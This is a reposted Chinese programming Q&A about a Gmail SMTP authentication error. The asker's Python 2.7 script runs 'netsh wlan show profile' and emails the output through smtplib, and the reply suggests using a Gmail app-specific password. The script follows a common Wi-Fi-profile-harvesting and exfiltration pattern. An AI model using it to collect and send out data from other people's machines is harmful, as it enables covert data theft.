我啟用了“不太安全的應用程式”,但仍然出現此錯誤。密碼和登錄名正確
import subprocess, smtplib
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
comand = "netsh wlan show profile"
result = subprocess.check_output(comand, shell=True)
send_mail("my email", "my password", result)
Traceback (most recent call last):
File "d:/asdasd/main.py", line 12, in <module>
send_mail("my email", "my password", result)
File "d:/asdasd/main.py", line 6, in send_mail
server.login(email, password)
File "C:\Python27\lib\smtplib.py", line 623, in login
raise SMTPAuthenticationError(code, resp)
smtplib.SMTPAuthenticationError: (535, '5.7.8 Username and Password not accepted. Learn more at\n5.7.8 https://support.google.com/mail/?p=BadCredentials b3-20020a056512304300b004488e49f2fasm2187075lfb.129 - gsmtp')
uj5u.com熱心網友回復:
您需要在 google 帳戶上創建應用程式密碼。
只需谷歌“gmail 應用程式特定密碼”
BR
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/447278.html
標籤:Python python-2.7 smtp smtplib
